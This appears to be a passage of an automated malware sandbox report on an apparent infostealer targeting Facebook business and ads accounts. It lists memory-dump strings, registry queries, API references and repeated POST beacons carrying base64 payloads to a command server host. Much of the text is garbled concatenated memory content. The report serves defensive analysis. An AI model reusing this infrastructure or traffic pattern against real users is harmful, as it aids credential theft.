ckefixedev.youtube.comoutube.lockrefixedemeity3d.cptinazon.condationndationamcv_036784bd57a8bb277f000101%40adobeorglockefixedeusic.amazon.frnnectweoutube.comam1cgtkaiku7/n8ne0adrcou6d2xcilyt09avsaqkhcxpeerjtqrrkfcevgs8a2hwtf//z+p9i0lnu84jodn/l0weladciae6nowqsvcv2wklwfgllgn1s5yz0ua3sqambpoyctjdiqij5lwpnnrg/nioeqwwjclix0xnyeh5gq8leko8itjjjj7cphidrnpyutyblxucvzema6hpjl8rykl45e5aikyjx7owgq2mn1swelr+xsz7xekxsfs5tf5imfmm/cpvv6jhbfsbatmb/met2iqnkjyvyigi61pjf9x8gcxqgvjngwegxh4dwbzreiifusba5ieumvh+eksrchuid5lsmswjanpozarobx+9m8/srchdrgw+3nmihlf6gsgi3r0nk8hakasaqrs5z8ibzs3urcnjewjuyf3gcgtggvhrn8yvvj74gj8wp+cs0g/eyaqm0gp+7jiaygqz0ohnlay2jes8gnmemuidr9zaozfdyq9odghq5yuxa8adfjtmz7vk0ghoxptkgcsol3r8dqgu0tqy5znwbakdp+loekhx8mp/leuqemfcora5o1ekz7gkyc4m2ig2k8a20ebfcs1avwkbkp" - Source: "00000000-00006900.00000002.72721.059CC000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/app.nnnaajjjgc.compp.nnnaajjjgc.com2564f9dec3977c58fc614bd5ac5nnnaajjjgc.c" - Source: "00000000-00006900.00000002.72721.05A3D000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/app.nnnaajjjgc.compp.nnnaajjjgc.comjjgc.com/ring.comyomain" - Source: "00000000-00006900.00000002.72721.05A3D000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00006900.00000002.72721.05A80000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006900.00000002.72721.05A80000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006900.00000002.72721.05A80000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006900.00000002.72721.05A80000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006900.00000002.72721.05A80000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006900.00000002.72721.05A80000.00000040.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00006900.00000002.72721.05C00000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006900.00000002.72721.05C00000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006900.00000002.72721.05C00000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006900.00000002.72721.05C00000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006900.00000002.72721.05C00000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006900.00000002.72721.05C00000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=6958&key=59fc7129d2e85bccf2aeb863da3bf23dbegcabfn_pwda_colle7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86bnfwmdoayload_counterloginslogins7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86b2aaa101763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714ohortname7631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6band_strohortnameohortmiikbkeiagnosticsn_pwd763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714egistry7631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6bsinstalleyjzawqiojy5ntgsinrpbwuioje2otqxmdyynjesinjhbmrfc3ryijoiswnfwmdoin0=rl,use2aaa101http://app.nnnaajjjgc.com/check/?sid=6958&key=59fc7129d2e85bccf2aeb863da3bf23dsinstallhttp://app.nnnaajjjgc.com/check/?sid=6958&key=59fc7129d2e85bccf2aeb863da3bf23dohortohortnarl,usens_seedns_seedloginsestarted763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714ns_craslogins_due_exata,diomain7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86b3f714763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714ocal\mxited_cleanly7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86brash_colic?eriencens_permloginshow_dislogins7631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6boli]ns_comp7631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6bns_fail763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714ata,display_name,icon_url,federation_url,skip_zimestamptabilitygle.wns_safeloginsns_lasttats_versionloginsocal\microsoft\edge\user" - Source: "00000000-00006900.00000002.72721.05D82000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=6958&key=59fc7129d2e85bccf2aeb863da3bf23dlsrteua" - Source: "00000000-00006900.00000002.72721.05DB3000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=6950&key=44172969527894af03f0ffd64dbb78b42aaa101ryijoieyjzawqhioje2otqast_updast_seehttp://app.nnnaajjjgc.com/check/?sid=6960&key=248f43c543b213888193a0dd2be831e9ersisted_logshttp://app.nnnaajjjgc.com/check/?sid=6950&key=44172969527894af03f0ffd64dbb78b4http://app.nnnaajjjgc.com/check/?sid=6960&key=248f43c543b213888193a0dd2be831e9n_pwd2aaa101and_str@rand_strrpbwuidyyntgs@u2p2qupthttp://app.nnnaajjjgc.com/check/?sid=6960&key=248f43c543b213888193a0dd2be831e9ontenteloads_@tartup_boostn_pwduleset_versioneyjzawqiojy5njasinrpbwuioje2otqxmdyynjisinjhbmrfc3ryijoibwpytwfein0=pdater_napcmkiohortnameohortnameohortl_metriohortnameohortnameohortnameohortnameohortnamelnkggcmtion_daohortnamenstalldateohortcgmceipohortnameohortohortnameohortdokgmleohortpnkhbgcjbbcifefagbclfohortohortnameohortohortcefcglhnstalldateohortohortohortkdkbonefccdhgiohortnameohortohortnstalldateohortnameohortientdatohortnameneaggahfmaoelhohortgepbgbgohortnameohortohortmiikbkepibomfaifjinapjlepofdpaokgecohortnamebegcabfa_colleohortnamelient_id2iagnosticsohortnameohortohortnamehegojcjohortohortohortnameopy_souachine_idariationsns_safeeriencens_seedeb_widgetxited_cleanlyns_safeestartedhow_dis7631306b818c77d6fadfa1cb591e1c480b343b2d2569b3ca36725203ffaf48a8d991cb6b763130c6a0d19e1da0668a7da633271b5cdab787d0d42dc311b7833fe6e25a37eeeb24a98c8c412593f714ns_failin_statens_cras_profilns_safens_safeomainondateimestampxpirationdateamesitens_compns_sessns_safen_rendens_safens_seed_coachmrash_cons_last8d243ba44alue7631305c75b60dadb7794b1dfee86a44323061845c056dfbd11dc3bf62ab7114088693f959b5a86blast_lins_seedayload_counterns_seedtats_buildtime_crash_ns_counns_safetabilityns_safe_due_exow_entrtate_resetession_idns_permns_seedhmark_s7114ecurettponlytats_versionmatchloginsc:\users\hapubws\appdata\local\microsoft\edge\user" - Source: "00000000-00006900.00000002.72721.05E8D000.00000004.mdmp") Found URL "https://z.nnnaajjjgc.com/sts/imagd.jpgavauwvshhc@.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "")55:T6b0,Found reference to API "InitiateShutdownW" (Indicator: "InitiateShutdown"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "InitiateSystemShutdown failed with error %u" (Indicator: "InitiateSystemShutdown"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "ExitWindowsEx failed with error %u" (Indicator: "ExitWindows"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "InitiateSystemShutdown failed with error %u" (Indicator: "InitiateSystemShutdown"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp") Found reference to API "ExitWindowsEx failed with error %u" (Indicator: "ExitWindows"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp") Found reference to API "InitiateShutdownW" (Indicator: "InitiateShutdown"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "ExitWindowsEx" (Indicator: "ExitWindows"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")56:T6d6,Found reference to API "ReleaseMutex" (Indicator: "ReleaseMutex"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "CreateMutexW" (Indicator: "CreateMutex"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "ERROR: CreateMutex(%s) failed with error: %u" (Indicator: "CreateMutex"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "ERROR: CreateMutex(%s) failed with error: %u" (Indicator: "CreateMutex"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp") Found reference to API "ReleaseMutex" (Indicator: "ReleaseMutex"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "CreateMutexW" (Indicator: "CreateMutex"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")57:T4cf2,"POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6806&key=0a0310dec21f9289602cd63dddecae9a HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6808&key=37d6f3658bb0dcfce18d9e0000c3ab81 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6810&key=a8c4b2352c4addc278c4ba3d7629e1d9 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6812&key=82cfa653127d8a1303156eede82397fe HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6818&key=12c03c2d5c09fdf856ea4422fa49a666 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6820&key=ad03d4734d6558096de5502cf421be59 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6822&key=c3c52fc8561fa0a739971baa688dd416 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6824&key=03fb39a6a77b355a229038c17b1d2843 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6828&key=312e711170b25ffb892bc41ea041d929 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6832&key=3239b6f22420d900921b37738348f94b HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6836&key=a01f84cd86f5405bea78755f2aa82628 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNek1pTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=6840&key=683afcb6696972c8c9c3e772aaa5d89f HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> 